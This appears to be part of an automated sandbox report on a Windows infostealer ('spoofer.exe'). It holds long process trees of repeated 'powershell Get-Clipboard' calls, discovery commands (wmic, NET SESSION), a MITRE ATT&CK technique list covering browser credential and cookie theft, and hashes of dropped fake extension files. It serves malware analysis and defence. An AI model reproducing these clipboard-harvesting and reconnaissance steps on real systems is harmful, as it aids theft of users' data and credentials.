  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:5716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:3664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:7036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:2980
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:2992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6960
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:1576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:5796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:2792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:3372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:5604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:1412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:7008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:7112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:7080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:2752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4692
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:3748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:3352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5584
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:2196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:3272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:5236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:2088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:2344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:3580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:5300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5900
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:3488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:5756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:2912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:5828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:7108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:7148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:7060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:1748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:2448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:3364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:2372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:5276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:1576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:3508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:1152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:3936

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:2268

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:2648

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:4676

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe
1⤵
PID:452
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2440
- - C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
    C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3580
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "chcp"
      4⤵
      PID:4780
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:4180
  - - C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
      "C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\gearhead" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1980 --field-trial-handle=1984,i,258614703492750715,14261521060509541511,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5856
  - - C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
      "C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\gearhead" --mojo-platform-channel-handle=2100 --field-trial-handle=1984,i,258614703492750715,14261521060509541511,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4552
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=5000 get ExecutablePath"
      4⤵
      PID:6212
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where processid=5000 get ExecutablePath
        5⤵
        
        PID:6372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "NET SESSION"
      4⤵
      PID:6176
    - - C:\Windows\system32\net.exe
        
        NET SESSION
        5⤵
        
        PID:6248
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 SESSION
        6⤵
        
        PID:6280

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe
1⤵
PID:1568
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3384
- - C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
    C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "chcp"
      4⤵
      PID:4316
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:2064
  - - C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
      "C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\gearhead" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2296 --field-trial-handle=2300,i,13584831778026530318,5191633604993591128,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:284
  - - C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
      "C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\gearhead" --mojo-platform-channel-handle=2356 --field-trial-handle=2300,i,13584831778026530318,5191633604993591128,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=5000 get ExecutablePath"
      4⤵
      PID:6452
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where processid=5000 get ExecutablePath
        5⤵
        
        PID:3764
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "NET SESSION"
      4⤵
      PID:3772

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Modify Authentication Process

T1556

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\ChromeExtensionsNova\extension-cookies\images\logo.png

Filesize
78KB

MD5
2b67e47cb8da1058770fe41d8b947619

SHA1
9eb259b1d377a24a2b77a694cf31c23cef7b8eef

SHA256
46f616820751849512d2704ddb604666170d13315c4383b8c8611c3e1c2f594a

SHA512
27c0593d662df228e146c49af6da52e39523523af924cf95ba4890b1b42358b2b8df3cf2667d8f672eece4f7fe098574c4689677768dd54d3b872619c7b9ae55

Download Submit
C:\ProgramData\ChromeExtensionsNova\extension-cookies\images\logo128.png

Filesize
61KB

MD5
271847949971c396f77beaab936b7ea2

SHA1
b32c5a7eec49aa07f8ae73feb990626010c4b850

SHA256
a55224cdf06a5c2b937ba400604501f8b6ec93bc2c1cff62aa2fd378d504c657

SHA512
a2e141f68143f370e2b82a1c9c7c4b1c5f6fc2cfc2ad94acb8c5c02237af56f83904beaff3240e20397f0edbdfadf8779c0bd54b2cf0c9899fef59343e31794a

Download Submit
C:\ProgramData\ChromeExtensionsNova\extension-cookies\images\logo16.png

Filesize
2KB

MD5
192e90432fed0081abb25295d8f309c4

SHA1
5150e93061f39e26688afd60a04c0ab14b510d47

SHA256
3216d6864b4f8824b82eb887edf95436dac3bea3f7d43d8988a176e3f1f8e1b2

SHA512
9b9b3f85eb9f12ad1b4c8cfc5e672758d879e178179deb28e80e6c3b27871261bf6b52f9066850b5a7a2fd85012b5308eaf3dda882fa40febc9cf6b47f1a4f04

Download Submit
C:\ProgramData\ChromeExtensionsNova\extension-cookies\images\logo48.png

Filesize
10KB

MD5
9f74f11972c3c0b161832ffab541bf31

SHA1
e5841ba20a229cdeab85d30690509e649e848271

SHA256
8b74a0abdd566ffdf15891d6abd3537bffb0abce7f362c737c3de6752e136032

SHA512
b90f13eb65a4dcfdd596a7d9eba7c1ba5eb1a598e51107ce3dca07c0a0025469ab18c9958eff2b36f7e05a23f0d16d7d9d7c2321b8e1f2a456aaa7bec3ced0e8

Download Submit
C:\ProgramData\ChromeExtensionsNova\extension-tokens\js\bg_obf.js

Filesize
87KB

MD5
9ac39dc31635a363e377eda0f6fbe03f

SHA1
29fa5ad995e9ec866ece1d3d0b698fc556580eee

SHA256
9a2723c21fb1b7dff0e2aa5dc6be24a9670220a17ae21f70fdbc602d1f8acd38

SHA512
0799ae01799707b444fca518c3af9b91fda40d0a2c114e84bc52bd1f756b5e0d60f6fd239f04bd4d5bc37b6cdbf02d299185cd62410f2a514a7b3bd4d60b49fc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
80KB

MD5
fdbbcd6cdee67692dcfc420deb5244fd

SHA1
93f35707829857ca8e398bce28b7c7d391385ba9

SHA256
fe2a0dd8283ea9a41ad9092883428e2c12295b57f7b5372e70ff8c9dc7312608

SHA512
87ff94fdbcaec4250d1941137e2ae0c03a9e55c346cce495c7c5caa6f071f3fb194d76a5ebddbfe6dd2d1450d7cab490f1227695c0a2c005d3d47b1c2e6f6509

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
50c591ec2a1e49297738ea9f28e3ad23

SHA1
137e36b4c7c40900138a6bcf8cf5a3cce4d142af

SHA256
7648d785bda8cef95176c70711418cf3f18e065f7710f2ef467884b4887d8447

SHA512
33b5fa32501855c2617a822a4e1a2c9b71f2cf27e1b896cf6e5a28473cfd5e6d126840ca1aa1f59ef32b0d0a82a2a95c94a9cc8b845367b61e65ec70d456deec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
01cc3a42395638ce669dd0d7aba1f929

SHA1
89aa0871fa8e25b55823dd0db9a028ef46dfbdd8

SHA256
d0c6ee43e769188d8a32f782b44cb00052099222be21cbe8bf119469c6612dee

SHA512
d3b88e797333416a4bc6c7f7e224ba68362706747e191a1cd8846a080329473b8f1bfebee5e3fe21faa4d24c8a7683041705e995777714330316e9b563d38e41

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_ntp.msn.com_0.indexeddb.leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt

Filesize
327B

MD5
e01a83732314973c355752dcb07b0c4b

SHA1
74586f06e9b1d8a77f8e18072a7c8ba548db7423

SHA256
682f2f64ce2858da13866e019c137a447315292050350b99acc02e2544b35139

SHA512
ccae0b7f095ccccdb41322c8647e87fbb300d3c72a0fa97c5d13ebb76fd362205a85e62cc464d103dba336875340fd667e3337941824ccde3585d06c7d4901e5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
40KB

MD5
cab7e9d2f5eeb0f5389a697b8ee45d0c

SHA1
bfdb376cbf9ad31741dfc84eae07c51e315da801

SHA256
e6b77ba52533b893b088f2917d80293feea3c7c76a2652a07f1ed27a2b32ecd2

SHA512
7f6e2f7a6f1ac27bff7d68f58850e91102e90f7102e39123f4223cabc29614ffac408d8803093b97b4f1bdcae143f8dc6084bd4dd257341e2ee51c5fbe0c71ca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
28c65370f12e84b734af87ad491ea257

SHA1
402d3a8203115f1365d48fa72daf0a56e14d8a08

SHA256
4ea873fb3d77a2f8eefae82c943f621f16723516e181bde133568f8f0c91290c

SHA512
56eb34162b0a39da4aaf66aad35ef355a7709982b5060792e3b4849c36650725176e927815537ec58e7ddf0fb1763066b203d6b7f9d1b3dd2c8bc091c0c850cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
2f87410b0d834a14ceff69e18946d066

SHA1
f2ec80550202d493db61806693439a57b76634f3

SHA256
5422bc17b852ad463110de0db9b59ffa4219e065d3e2843618d6ebbd14273c65

SHA512
a313702f22450ceff0a1d7f890b0c16cf667dbcd668dbafa6dbecd0791236c0bc68e834d12113cc75352365c2a2b6cfcf30b6ef7c97ea53ed135da50de389db4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

